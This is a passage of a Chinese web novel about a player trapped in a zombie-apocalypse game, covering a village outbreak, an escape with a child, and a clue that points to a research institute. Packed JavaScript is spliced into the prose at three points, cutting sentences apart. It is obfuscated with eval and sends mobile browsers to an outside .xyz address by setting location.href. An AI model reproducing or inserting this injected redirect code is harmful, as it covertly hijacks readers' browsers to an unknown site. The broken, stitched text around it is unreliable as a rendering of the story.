“老何……”一个发丝中藏着不少银色的中年妇女哆嗦着嘴唇,十分的踌躇。她局促地反复拧巴手里的抹布,眉毛也一样拧着,声音细细微微:“我们这样……会不会?” 她身边的中年男人也愁眉不展,面容在缭绕的烟雾中显得很不真切。他没说话,又重重地抽了一口烟,再吐出。 中年妇女内心正在剧烈地挣扎着,她目光反反复复地落到不远处的床上,那有着朴素印花的床单上躺着一个高高瘦瘦的青年,此时那青年脸上是不正常的红晕,额头全是汗珠,五官也痛苦地拧在一起。 夫妻两个都很长时间说不出一句话。 早在安警官发现出现游荡的丧尸的时候,就已经警告过他们,如果有人被抓伤,一定要第一时间绑住交出来,被安排人员轮流观察才行。 原因也很简单—— 在那些游荡的丧尸里面出现了熟悉的面孔。 谁也不敢说这究竟是怎么回事,这种人变成人不人鬼不鬼东西的现象究竟是偶然,还是具有传染性的?都不清楚。 所以即使他们已经有段时间没有看到所谓类似“丧尸”的东西出现在周围,也仍旧清楚,这是危险的。 于是他们安排了巡逻队每天在村子外围轮流巡逻,即使暂时一直没有发现危险,也没有停止。因为越来越多外出的人发现了丧尸的踪迹。 村子里的人都警惕了起来,他们明白村子外潜藏着危险,他们不能让这危险闯入他们的生活。这对夫妻当然也明白这一点。 可是此时此刻的躺在身边的,是他们的孩子啊! 即使也曾狠狠心要将人绑起来,可是刚碰到那灼热的体温,就心颤了半截。咬咬牙捆上了麻绳,不过一会儿就会看痛苦挣扎的孩子被粗糙的绳子蹭破皮,渐渐渗出血。 本看孩子因为高热而痛苦不休就已经心如刀绞,再加上那扎眼的血痕…… 哪个父母受得了这样的折磨?! 更何况,这孩子还是为了探望他们两口子才回来的。 如果不是为了探望他们,他好好呆在自己学校里面,又怎么会被附近游荡的丧尸抓伤,变成这幅模样。 若是按照之前说好的,把孩子交出去给别人轮流看管,别说要一直被捆着了,恐怕连几口好饭热水都没有。 他们的心都是肉长的,怎么做得出这样的决定?!更何况谁也不能说那丧尸真的就会传染,还正正好好地传染到他们孩子身上。为了个没影的事情就这样冷酷无情,多少有些过了。 中年妇女又打来一盆冷水,在青年身上擦拭,努力给对方降低体温,眉毛却始终没办法松开。 中年男人抽尽了最后一点烟,深深地叹了一口气,只站起身,走到院子最外,将那平日里敞开的铁门拉上,锁了。 再怎么说服自己,可那颗越跳越快的心却不能作假啊。 他抬起头,夜空黑沉沉的,周围安静极了。 连一颗星星都看不见了。 7. 静流涌动 萧宁是被嘈杂的鸟叫声吵醒的。 院子里面中间长了一棵年龄不小的桂花树,此时树上站了不少鸟不知道在开什么party,叽叽喳喳地叫个不停。 萧宁打了个哈欠,半阖着眼睛,迷迷糊糊的就听外面小团子清脆的声音:“咪咪你又来了呀?我给你吃小鱼干!” 何中正摸了摸女儿的头:“麦麦,在喂小猫呢。爸爸等下要出去办点事情,你还是和平常一样,要乖乖呆在家里面。不要去碰电,也不要去动热水瓶。好吗?” 麦麦挥了挥小拳头:“知道啦,爸爸。麦麦是勇敢麦麦,一定完成任务!” 何中正笑了一声,拿了东西正准备出门却又反应过来,如今这屋子里面还有一个要看管的家伙在呢。他一时间有些犹豫。 却在此时,本来关着的门被推开,露出一张美得很有攻击性的脸。 萧宁笑眯眯的:“何大哥,我也和你一起出去吧?这屋子也怪闷的。”没手机简直闷得发疯,更何况要收集信息还是得出去才行啊。 何中正愣了愣,想着还是人在身边看着放心些,要把这人和自己女儿放在一起那根本不行,单独带女儿出去也怕掉,就答应了。 于是萧宁就洗漱后跟着何中正出了门。 无聊到发霉还不能跳剧情,萧宁好不容易能呼吸到院子之外的空气,一下觉得整个世界都变得顺眼了。 他深深吸了一口气,舒展下身体,远远就看到两条狗咬着一根棍子在“双排”,风一般地从他们面前跑过,别说多欢脱了。 萧宁忍不住勾了下嘴角。 何中正这次出门是因为有家人里的男主人干活把胳膊搞脱臼了,女主人就着急忙慌地打电话给他打电话帮忙给治治。萧宁就跟着他一起去那家人那里。 “何大哥你还会脱臼复位啊?”萧宁问。 何中正完全没有在女儿面前的温柔,一个字多不一样多说,直接点头。 感觉出了何中正的不愿多说,萧宁却没有住嘴,而是继续问:“你从哪里学的呀?感觉脱臼复位要好大的力气,我肯定不行,但是还蛮好奇的。” “不难。”何中正言简意赅,“小孩子很容易脱臼,我会这个不奇怪。”言下之意是在照顾麦麦的时候学的。 “何大哥真是个好爸爸,难怪把麦麦照顾得这么好,又乖又可爱。”萧宁感叹。 何中正的表情及不可见的松缓了些。 萧宁从眼尾瞟到了何中正嘴角的那点弧度,却没有继续说麦麦,免得显得他是个怪蜀黍,而是继续说脱臼的事情:“这个时候脱臼,是在忙春耕所以伤了吗?” 何中正:“嗯。” 闲聊之间,两个人就已经到了。 一个穿着红色毛绒外套的婶子笑眯眯地迎了上来:“哎,中正你可来了,我家那个大早上了使力使过度给把胳膊搞脱臼了,我都不知道什么说他,这么大年纪个人了,还能自个儿把自个儿搞成这样,现在还在屋里哎哟哎哟直叫唤呢!” “今天可真是麻烦你了,还专门跑过来一趟。我现在就领你进去看看。” 何中正点点头,跟着进了门,萧宁多看了一眼在墙角舔爪子的黑白色小猫咪,也跟着走了进去。 那婶子这时候才发现多了一个萧宁,不由得惊讶:“中正,这么帅的小伙哪里来的啊?”她看了又看,盯着萧宁看了半天,啧啧赞叹:“长这样连明星饭也吃得了啊!” 萧宁笑了:“姐姐你真是太会夸人了。那我就借您吉言了,到时候要是火了第一个就请你吃饭。” 钱婶子哈哈笑了。 何中正一点都没有受影响,一边继续往屋里面走,一边回答那婶子的问题:“阿雪从外面捡的。” “捡的?”钱婶子一头雾水。 “唉,就是前两天我被困在外面给那些人不人鬼不鬼的东西给围着了,然后安警官把我给救了回来。现在外面情况也不是很明确,不敢随便乱跑,这不就得在这里呆两天了么。”萧宁唉声叹气,“本来也只是参加个实习,谁知道给骗到那么偏的地方了呢?差点连命都丢了。姐姐你也知道现在工作有多难找,不然也不会往那山里面扎,给落得这么个情况。” “不过还好好人多,我现在遇到安警官、何大哥还有您,这心啊!一下放肚子里面了!” 钱婶子被逗得乐:“那可不,我们何家村都是淳朴人,个顶个的厚道!安警官虽然不是打我们村出去的,但是她品行那是更不用提的。你碰到我们可算是走了运。” “不然遇到上流那堆糟心货色……哎哟哟,那可别说帮你了,不趁火打劫都算不错的了。” 萧宁也应景地露出了后怕的表情,然后状似不经意地问:“安警官不是何家村的吗?” “不是啊。”钱婶子摇摇头。 萧宁露出疑惑表情:“我看她是刑警……不是探亲,那……?” 钱婶子立马意会:“哎!你可别想歪了。我们村可干干净净的,没那什么的乱七八糟的事情要查。她就是来看看中正,正巧碰到那奇奇怪怪的东西才逗留的。” “要真查些什么,哪能还叫我们知道她身份啊!那不得那什么那什么微服私访?啊不对,好像不是这么个词。”钱婶子冥思苦想,“反正不会叫我们知道她身份的。” 萧宁恍然大悟:“对对,说得对。是我想太多了。我的错我的错。实在是之前被骗了一次,这有点一朝被蛇咬——十年怕井绳了。对不住啊。” 钱婶子摆摆手:“嗐,没什么。” 两个人正聊着,屋里叫了一声,走进去一看,一个皮肤黑黑的男人正稀奇地看自己手臂:“这就好了?就这么……一下子就好了?” 钱婶子也有些稀奇,确定了男人的手臂真被接回去了,立马转身开始夸:“真不愧是中正,真是我们村一颗定心丸!” 她忍不住又看了自家惊奇的男人一眼:“哎呀,真的厉害啊。我们这村子离卫生站、医院都远,不方便的很。小病小事都得自己去买点药就得了。但是这脱臼什么的是真不会,多亏了中正,不然真不知道怎么办才好。” “上次花花家小孩被划那么大道血口子,大家都傻了,要不是中正拿止血绷带给他绑起来送医院,都不知道多吓人。那个时候我就知道中正厉害着呢。” “中午在我们家吃饭吧,我烧只鸡吃!”钱婶子热情道。 “不用了。”何中正摇摇头。 “把麦麦接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033651|162374||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来一起吃嘛,我手艺可好了。”钱婶子热情不减。 “我还有事情,真的不用了。”何中正露出有一点为难的表情。 钱婶子只好作罢:“那你等等,我去给你捡鸡蛋,保准个个新鲜。”不等何中正说话,就快步走了出去,不一会儿就拿了一篮子鸡蛋过来,塞进了何中正的怀里。 何中正还想开口,钱婶子就把他给堵了回去:“给麦麦补补营养长得高。你要是连着这都不收,就是瞧不起我。可不兴你专门跑一趟过来帮忙,还给你空手回去的。” 萧宁看得笑,也应声:“何大哥你就拿着吧。” 于是两个人就抱着一篮子鸡蛋回去了,中午就炒了一大盘子鸡蛋。别说,是真的香。 安雪是在他们吃饭的时候回来的,麦麦一看到她,就哒哒哒要跑回厨房给她拿碗筷。 安雪看萧宁和他们一桌吃饭,气氛竟然融洽了不少,还有些惊讶。等接过碗筷,她忍不住揉了揉麦麦的头发,开口道:“巡逻队的人我和他们都说过了王所长的事情,他们会注意有没有他的踪迹的。我今天又回去看了看,找到了一个东西,不知道你清不清楚怎么回事,你看看?” 说着,安雪就递过来了一张被叠起来的纸。 萧宁刚看到那张熟悉的纸,就是一滞。安雪反应极快,立马扣住了他的手腕,指尖抵住了他脉搏处:“你见过这张纸。”极其肯定的口吻。 这个时候否认已经来不及了,还会失去信任。萧宁只好点点头。 不愧是刑警啊,他这种遵纪守法的学生是真的骗不过。而且他现在的脸本来挺反派的,还是不要撒这么明显的谎比较好。 “我在逃出来之前,从柜子里面翻出来的。”萧宁非常坦然,毕竟他说的都是实话。他也明白安雪的关注点大概在哪里:“这些人我都不熟,第一研究组的研究内容更是完全不知道。” 安雪慢慢松开了抓着萧宁的手,眉毛却没有因此松开,而是更加凝重了。 “你们先吃。”她转身就走,不知道是想到了什么。 只留下三个人一头雾水地看着她的背影。 何大哥习以为常,首先继续开始吃,麦麦眨眨眼,看了看爸爸,也继续吃。萧宁看看他们两个,挠了挠脸,也继续吃。 真香。 等到下午的时候,何中正就没再出去了,但是钱婶子倒是又来了一趟,给他们送了点草莓:“快吃,别客气。这都是新鲜摘下来的。本来想说去老何和老李合作的那家园子摘更大的给你们送来的,结果他们家没人应,打电话也没人接,也不知道去哪里忙了,只好算了。” “不过这一家也很甜,你们赶紧吃哈。” 于是他们下午美美吃了一盆草莓,特别的新鲜。 萧宁甚至有种自己不是在末世游戏,而是在什么归园田居的片场里面。拿一把摇椅,躺在上面晒太阳再吃两颗草莓,别说多惬意了。 72小时更是在这种安宁平静的氛围里过去了一半。萧宁脑子里的弦都要跟着松了。 但是他始终都记得这个游戏是个什么德行。 因此,在半夜那声尖叫声响起的时候,他立马就爬了起来。 平静,被打破了。 8. 混乱 萧宁走到房门前打开门,何中正和安雪已经都起来了,头发都还带着刚刚睡醒的毛躁,表情严肃。 见萧宁也出来了,安雪先道:“我出去看看,何大哥你赶紧把麦麦看好,萧宁你也不要乱走。” 何中正和萧宁都点点头,安雪就拿着撬棍走了出去。 麦麦被何中正叫了起来,揉着眼睛和他们一起等。但是没等安雪回来,何家的铁门就被狠狠地敲响,嘶哑的喊叫在门口响起:“快开门啊,开门啊!” “中正——中正求求你快开门!” 麦麦吓了一跳,声音小小的:“是小宇妈妈。” 何中正的肌肉绷地像石头,犹豫片刻,还是将麦麦塞到萧宁身边,去开了门:“陈姐。” 陈姐像疯了一样钻进院子里面,她双目通红,头发散乱,只穿了睡衣披了一件外套,下摆滴滴答答全部都是血。 “都疯了。都疯了!”她目光散乱,语无伦次。 萧宁凝神一看,她腿那里已经被撕掉了一块肉,隐隐可见白骨,血淋淋的伤口光看着让萧宁身上发寒。 陈姐抬起头,眼睛黑漆漆的有些吓人,脸却带着不正常的红:“中正,他们都疯了,都疯了哈哈哈哈!” “陈姐,你……”何中正想要去扶站立不稳,摇摇晃晃的陈姐。 “小心!”从看到陈姐就十分警惕的萧宁拿了把拖把就打到了陈姐猛然伸向何中正的手掌上——只见此时陈姐的手指上已经长出了有半个手掌那么长还闪着寒光的指甲。 陈中正差一点就被抓到了脖子,冷汗都冒出来了。 糟了! 陈姐的眼睛彻底了失去了神彩,也无法言语,而是发出如同野兽一般的嘶吼声,向刚刚阻拦她的萧宁扑过来。 萧宁又用拖把顶了她一下,将她隔开,但是对方的力气突然就变得像牛一样大,只挡了这两下,他就觉得自己的手腕阵阵发麻,酸痛不已。 但是陈姐却不知疲惫一般,连原本流血的伤口也以肉眼可见的速度愈合,下一刻就再次向萧宁扑来。 而萧宁背后就是墙壁,已经避无可避。 陈姐再一次伸出爪的时候,一把锄头挡在了萧宁面前。 萧宁立马借此空挡一撑墙壁,跑到了何中正的身后,而何中正已经拿着锄头和陈姐打了起来。 萧宁气喘吁吁,把已经呆住的麦麦抱住,捂住了她的眼睛:“麦麦别看,没事的。” 麦麦咬了咬嘴唇,用力点点头,身体却控制不住地颤抖了起来。萧宁暗暗叹气,拍了拍她的后背,轻轻说:“麦麦在这里捂住眼睛不要看,哥哥去帮你爸爸好吗?” 麦麦连忙点头,捂住自己的眼睛,低着头:“哥哥快去!快去帮爸爸。麦麦很厉害的,不用管麦麦!” 萧宁点头,也去帮忙打陈姐,和何中正分开在左右吸引陈姐的注意,让她目不暇接,还提醒何中正不要被抓到。根据他看各种影视作品的经验,这丧尸八成有非常强的传染性。 何中正拧着眉点点头,却没有再让萧宁在旁边帮忙:“你让开,别被抓到了。” 萧宁看了看何中正跛着那条腿,想要说什么,却被何中正的动作给阻住了——只见刚刚一直和何中正僵持的陈姐被一锄头砸爆了头,就好像一个西瓜一样碎掉了。 萧宁又想吐了。但是他没吐,而是强忍恶心继续看着陈姐瘫软倒地。 何中正返身回屋又拿了一把锄头给萧宁:“拿着,这个更好用。” 萧宁顶着胃里的翻涌,点点头。 而此时,门又响了。 “咚咚咚——咚咚咚——” 这一次,却并没有什么呼救的声音,有的只有持续不停的撞击声,就仿佛有什么……要把这扇门给硬生生砸个稀巴烂。 萧宁甚至眼睁睁看着那原本平整的铁门上出现了一个又一个凹陷的痕迹,旁边和门口衔接固定的铁皮更是发出令人牙酸的“吱呀”声。 萧宁下意识的后退了半步——这扇门马上就要倒了! “快走!”何中正抱起麦麦,抓了一把萧宁袖子,转身就往许久没动过的后门去,这里连通着的是一条少有人迹的小巷,路面都是潮湿的苔藓,散发着阴暗湿润的气息,但是何中正走得毫不犹豫。 萧宁跟着他,钻进了巷子中。 这条小路没有路灯,他们只能借着月光走,依稀还可以听到远处传来吵嚷的声音,如同白日。但声音的组成却全然不是往常的招呼声、嘻笑声、八卦声,而是尖叫、哭泣、哀嚎…… 萧宁知道,隔着一堵堵墙壁的彼端恐怕是炼狱。 明明几个小时之前,这里还是再日常不过的生活,现在却变成了全然的末世情景。 萧宁掌心都是汗。他之前还感叹这里不像末世,可是他宁愿这里不像末世。 他不知道自己跟着何中正走了多久,但是那些声音却在行走中渐渐的远去了。他们似乎远离了村子中心,但仍旧没有看到安雪的身影,不知道她是不是被什么事情给绊住了,也不知道她还能不能找到他们。 萧宁正想着,就被塞了一个疲倦的麦麦过来。 原来前面不知道什么时候冒出了一个面色发青的丧尸,地面则是一地的血迹。此时那丧尸正咬着一截胳膊,嘴里“嘎吱”作响,眼睛却直勾勾地盯着他们。 何中正在看到这一幕的第一时间就把麦麦交给萧宁,自己则拦在了他们俩前面。 丧尸看看咬着的胳膊,又看看他们,然后果断抛弃了那截胳膊,接着四肢并用,如同野兽般冲了过来,身体和何中正举起的锄头相碰,竟然发出了金属碰撞般的声音,何中正甚至被推着向后平移了半米远。 何中正眼神一凝:“快带麦麦走!” 话未落,就再次上前和丧尸碰撞在了一起。 萧宁明白自己现在带着小团子就是个拖后腿的,呆在这里要是被攻击让何中正分心才糟糕,也不留恋,左右看看,选了一个看起来没有人的方向撒开腿就跑。 村子的路错综复杂,小路极其多,萧宁跑了一会儿就有点头晕了。来的路他倒是记下了,可是他却搞不清楚自己跑到哪里了。 往前看看似乎是死胡同,左右又该往哪里走呢? 萧宁气喘吁吁的,怀里的小团子已经累到睡着了,他也没个当地人的意见可以参考 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033652|162374||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他站了一会儿,发现右手边一栋屋子里面隐隐约约传来说话声,刚朝那大门的方向走几步,就听到身后响起东西踩地的声音。 他猛得转过身,就看到一个丧尸双眼无神,直勾勾地盯着他,长长的指甲折射出瘆人的光泽。 萧宁的身体都僵了,别说他还抱着孩子不方便打了,就算是他没抱孩子,他这战五渣也打不过啊! 难道这周目就这么结束了? 不行! 他转过身,敲起那传出声音人家的大门,再回过身,一边和丧尸对峙,一边喊救命——只要里面的人能帮忙,能救一个算一个。 虽然他觉得自己这会儿怪像那个被感染的陈姐的,别人为了明哲保身八成不会开门,但是就算是为了麦麦,也不能不试一下就放弃了。 萧宁咬牙,正准备和丧尸拼了,就被身后一只手给拽进了门里面。 欸? 他扭过头,却看到一张熟悉的脸。 “姐?!”萧宁惊讶道。 钱婶子却没有白天见到的那么亲和,而是认认真真看了他和麦麦一遍:“你们没有被抓伤吧?” 这问话…… “没有。”萧宁斩钉截铁,“我们两个都没有受伤。” 钱婶子松了一口气:“那就好,那些该死的东西会传染,你们没受伤就好。不然我就只能把你们关起来了。” “姐你不怕我骗你吗?”萧宁奇怪。 钱婶子:“为了自保都能理解,不过我也说了嘛,如果你们被抓伤也只是关房间里面,又不是丢出去,那没必要骗我啊。我自认有点看人眼光,觉得你不会骗我,要真看走眼了,那我也认栽。毕竟我这人手贱,看到你们两个出现在我面前却不救,这辈子都要睡不好了。” 萧宁哑然。 钱婶子:“不过为了彼此好,我们确实该保持点距离。你们在那边屋子,我在这边吧。这屋里都没人,看什么顺手都拿着用吧。这是我娘家的旧屋,要不是今天晚上逃命,我也不会逃到这里。现在情况紧急,也不掰扯那么多了。” 萧宁点点头:“谢谢您帮忙。” 钱婶子摆摆手。 院子的铁门正“砰砰”地响,应该是刚刚的丧尸没抓到萧宁开始撞门了。 “小宁,不然你和我一起搬点什么东西堵上去吧?”钱婶子感觉有点头皮发麻。 萧宁觉得这样用处不大,不过他们两个都是战五渣,现在也没有更好的办法了。 于是他们把桌子、沙发那些能搬得过去,又够重的东西都堆到了门后。 可是不出意料,虽然花了点时间,那道院子门还是被撞倒在地,被堆在门后的东西也被丧尸进入之后丢到一边烂作一团。 萧宁和钱婶子紧张地躲在屋子里面,听着外面乒乒乓乓,感觉在等待着命运的降临。 但是不知道为什么丧尸的嘶吼声突然在院子里面戛然而止。与之相对,有节奏的脚步声响起,似乎有什么靠近了屋门。 “这里还有人吗?”是非常有辨识度的女声。 本来握着锄头站在屋门后严阵以待的萧宁手一下就松了。 9. 选择 是安雪! 萧宁立马就凑到窗边,想要确定来人的身份。 钱婶子比他更激动,也更熟悉安雪的声音,几乎没有任何犹豫就打开了门,带着眼泪拉住了安雪:“吓死我了。”安雪也安抚地抱了抱她。 见此,萧宁抱着麦麦走了出来。 “麦麦!”安雪视线落到萧宁怀里,声音紧张。 萧宁解释:“麦麦睡着了。她没事。” 安雪松了一口气,又问:“何大哥呢?” “何大哥还在拦丧尸,得快去帮忙。我带路!”萧宁立马说。 “我帮你抱麦麦。”钱婶子也赶紧抹了抹眼泪,接过麦麦。 安雪点点头,先问钱婶子有没有被丧尸抓到,确定没问题之后才让她进到身后的人群里面去。 萧宁这才发现,院子外面竟然还有一堆人,虽然大多都看起来狼狈,但是没缺胳膊少腿,还有些精神。整个队伍以青年为主,将老幼妇孺保护在中间。 安雪让他们慢慢跟上,自己则先和萧宁一起去找何中正。 看到安雪,萧宁就好像吃了一颗定心丸。虽然逃的时候有些慌不择路,但是所幸他记性好,还记得路线,一路带着安雪找到了何中正。 何中正还在和丧尸对峙,他看起来肉眼可见的疲惫,头发都汗津津的贴在了脸侧,手臂也微微颤抖,但还是竭力不让丧尸靠近自己,只僵持着。 安雪一句废话都没有多说,上去就加入了战斗,两个人配合默契,安雪找到机会就一撬棍扎进了丧尸的脑袋里面,动作娴熟到可怕。萧宁也觉得自己好像也习惯了这种场景,都没那么想吐了。 解决掉那只难缠的丧尸之后,三个人往回走,和大部队汇合。 安雪解释:“出去之后发现寻找传染源已经来不及了,到处都乱糟糟的,我只好先排查那些还没有被传染的村民,把大家的力量汇集在一起,不然各自被围困,只会让活下来的人更少,危险的丧尸更多。” “等到把村子剩下的地方排完,基本确定没有未受伤的人落下了,大家再一起找个地方休息。距离村子有一段路的地方,好像有看到一座许久没有人住的屋子,看起来很大也很坚固,可以到时候去那里看看可不可以落脚。” 何中正抹了一把额头的汗:“好。” 他扭头见萧宁只拿着把锄头,有些紧张:“麦麦呢?” 萧宁:“她睡着了。在后面人群里面。” 何中正脚步加快了些,等重新把麦麦抱进怀里,才真正放松了肌肉。 一行人后续把村子里没走过的地方也都排了一遍,找到了几个暂时躲起来还没有变成丧尸的村民。安雪每一个都认真问过是否受伤,确定没有受伤后,再三强调,如果受伤转变成丧尸那在她身边就是首先被她解决的对象,劝他们不要隐瞒伤口躲进人群里面。 “村子里面多少都沾亲带故,再不济也是一起长大的,如果要撒谎,也要好好想想后果。”安雪软硬皆施地告诫了一番之后,才让新找到的这些村民也进入了队伍里,一起前往那独门独户的房子过夜——村子里有人住的房子都给被丧尸搞得一团糟,地方也不够这么多人的,想来想去,这个无人居住的屋子,现在恐怕才是最合适他们落脚的地方。 等到了地方一看,果然是这个样子。 这座大房子因为没有人的原因,没有引起丧尸的注意,安安静静的,东西也都好好的放在原位,没有经过侵袭的样子。 因为村子的村长他们在混乱钟并没有找到,所以安雪大致在人群里面问了下,按照其他村民的说法,这家人之前只剩老人住这里,几个月前老人去世之后就一直空着,没有人再来住了。 因为只空置了几个月,东西虽然落了灰,但也大都可以使用。大家抱了被子出来,三三两两睡在一起,凑合凑合也就弄好了休息的地方。 看大家都布置好了,安雪就说了把剩下的时间分成两班,两个人值前半,然后她和萧宁值后半。大家都没什么意见,晚上骤然经历了一番生死搏斗,都累得够呛,此时也是倒头就睡。萧宁虽然觉得安雪把他安排进守夜的人里应该是有什么安排,但是此时也实在没有精力再想,眼皮一沾就睡着了。 ……萧宁等到被叫醒的时候,几乎以为自己回到了高三教室。不是吧,谁家打游戏要早八啊?不是这都不早八了,这是凌晨三点啊啊啊啊! 萧宁双目无神,忍不住打了一个哈欠,然后被安雪拉去了守夜的位置。 安雪看他困倦的表情挑了挑眉,没有多说,而是重新拿出了那张欣姐留下来的信件。 看到这熟悉东西,萧宁一下就精神了,望着安雪不知道她要做什么。 安雪抖抖信件,声音有些感叹:“你之前说的话没有什么问题,不过我还是想要再问问你。但是并不是怀疑你,而是请求你。” 安雪看向萧宁,语气严肃:“这封信的主人,八成已经死了。” 萧宁瞳孔一震——安雪是从哪里知道的? 安雪盯着萧宁:“你所在的研究所极有可能在进行极其秘密、危险和残忍的实验,导致了这名抗拒实验的研究员的死亡。所以我请求你仔细想想,有没有什么遗落的线索……” 萧宁突然道:“等一下,我可以问您一个问题吗?” 安雪一怔:“什么?” 萧宁:“您从哪里得来的这封信主人很可能不在人世的结论?” 安雪有些奇怪:“我发现信件之后就和上级联系,紧急寻找这封信的主人和联系她的关系网络,发现她在留下这封信之后彻底地进入了失联状态,极有可能被研究所高层杀人灭口。” “和上级联系?”萧宁喃喃。 安雪彻底跟不上萧宁的思路了:“有什么不对的吗?” “用什么联系的?”萧宁突然道。 “手机。”安雪将口袋里面的手机点亮拿给萧宁看,与此同时也让他看到了上面的两格信号,“这次事发突然,我也和市局联系了,他们会尽快协调人员赶来帮忙的,所以不用担心……” 后面的话萧宁已经听不进去了,他突然意识到自己犯了一个固有思维的错误。 没有末世气息的村庄、仍旧可以使用的手机、没有报废的通讯网络、在丧尸出现地逗留调查的警官,其实都指向了一个结果——这并不是末世,或者说并不是末世的完全版…… 这是末世的开端。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033653|162374||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 所以安警官才希望能够得到更多研究所的线索,确定丧尸病毒的源头就是研究所,从而进行更加全面的搜查。 所以村子里面的人虽然抱有警惕,但是仍旧在正常的开展生活,且较为松弛。 所以在变故发生的时候,何中正才会因为是熟人,没有太过犹豫地打开了门。 那么,他所看到的一切代表着什么? 欣姐在实验即将成功,也是工作量最大的时候离开,所以要杀掉她,不能让她动摇剩下人的精神,不然在她本来就处于保密状态的情况下,并不是非杀她不可的。 他看到第一个办公室整洁如什么都没发生,玻璃办公室却被弄的稀巴烂的,就是因为丧尸其实也是第一次正式在所有研究员面前出现的,他们也对这种突发事件毫无准备。甚至欣姐看到的那个所长带着人的影子,可能也并不是因为精神恍惚而出现的幻觉…… 还有那张留给王所长的字条——“试验品2336已放出。” 萧宁不寒而栗。 他从一开始进入游戏,其实就处于风暴的最中心,那洁白干净的装潢背后是黑暗残酷的研究。 但是,他所曾接触的近在咫尺的那一切,都已经被巨大的爆炸给掩埋得干干净净,难以再寻找踪迹。狡猾的王所长也早就不知去向。如果这是一场解密游戏,别说寻找谜底,他恐怕连谜题也找不到了。 一瞬间,萧宁觉得自己大脑都要烧干了,无数痕迹线索在他脑中连成了一条完整的逻辑线,却指向了一个不太妙的结果。 难道照他现在这个路线走下去,注定是个死胡同吗?他好不容易成功逃脱,得来的却是一个状似美好、迷惑人心的虚假走向?就像那些试卷上的陷阱题一样,在你为解题成功而自得时,冷不丁在成绩上给你一刀。 可是这个思路就一定对吗?通关就要搞清楚病毒的来源吗? 许多末世主角只要活到最后就是成功,这个游戏的通关思路有可能也是这样啊。 萧宁停住了,他没有回应安雪疑惑的眼神,而是无声问了游戏客服一个问题:“72小时后获得第一个存档点,那原本初始给的三次重开机会,还有效吗?” 游戏客服回复的非常迅速,几乎是下一秒萧宁就看到一行字浮现在他面前—— “获得存档点之后,初始重开机会自动失效呢,亲亲。” 萧宁拧眉:“那存档点可以设置在获得存档点之前的时间吗?” 客服:“不能呢,亲亲。存档点只能设置在获得存档点之后的时间,亲亲^3^。” 萧宁看着那个“^3^”,却觉得浑身发冷。 因为这无疑是在回答他,如果他选择了继续度过剩下的一天半,拿到存活72小时奖励的存档点,那他就再也回不到游戏的最开始。 即使他将来有了无限回档,这72小时内消失的一切也将如同一张褪色的老照片一般,成为注定无法触及的回忆。无论遗失了什么重要的线索,还是在路上失去了什么重要的人,都将如此。 他只有一次选择的机会—— 是否要用掉最后一次重开的机会,回到未必允许他活过72小时的研究所寻找末世的开始。 10. 困局 萧宁一时间很难做出决定。他决定再想想,粗略算算,距离72小时也差不多还有一天半。想来也是好笑,之前心心念念觉得太长的时间,现在看来似乎又有些短了…… “萧宁?”过长的沉默让安雪满腹疑窦,忍不住叫了他一声。 “啊。”萧宁从思绪中抽出,“我想到了一点事情。” 面对安雪的认真神情,萧宁整理了一下思绪:“保密等级最高的第一研究组其实就是由黄所长直管的。而且比起外围的丧尸浓度,我觉得研究所内的丧尸才是最多的,只是一切都被爆炸给掩盖住了而已。“ 这几乎是在明着说萧宁也怀疑丧尸病毒就是从研究所内传出来的了。 他愿意冒着被怀疑的风险,坦然将疑点重新揽回研究所内,已经是十分信任安雪的表现了。再加上他在半夜丧尸变故突发的时候也没有辜负何中正的托付,一直都好好带着麦麦这个小拖油瓶,安雪对他的警惕实打实的放松了。 她点点头,准备立刻和上级联系,却发现在刚刚他们谈话期间,原本还有的信号已经变成了一片空白,就好像这一片的信号被什么完全屏蔽了一样。 而她的手机上只剩下直联上级未说完的一句话:“多地同时爆发丧尸,正在统一调度控制,但是传染性太强,十分危险。” 本该有的具体安排却一句都没有出现在屏幕,剩下的只有醒目的红色标识“无网络”。 安雪看着那惹眼的红色提示,心中浮现不安。 自前天凌晨发现“丧尸”开始,几乎一切都令人猝不及防,爆炸、突然的感染扩散、还有现在瘫痪的通讯网络。 就好像有一只手在安静地布好了整个棋局,而等他们发现的时候,这盘棋已经将他们围困其中,难以逃脱。 按理说,她探望旧友,偶然发现丧尸痕迹的时候,就应该有专门的小队来进行调查。 可是近几天出现了各种动乱,到处都人手不足,只能将她一人先留在这里协同当地警员进行调查。 而今天,专门安排的调查组的人即将到达何家村,只是几个小时的时间差就发生了丧尸暴乱,并且信号也断掉了。她很难相信不是有人在后面故意捣鬼。 她得做好形势恶化的准备。 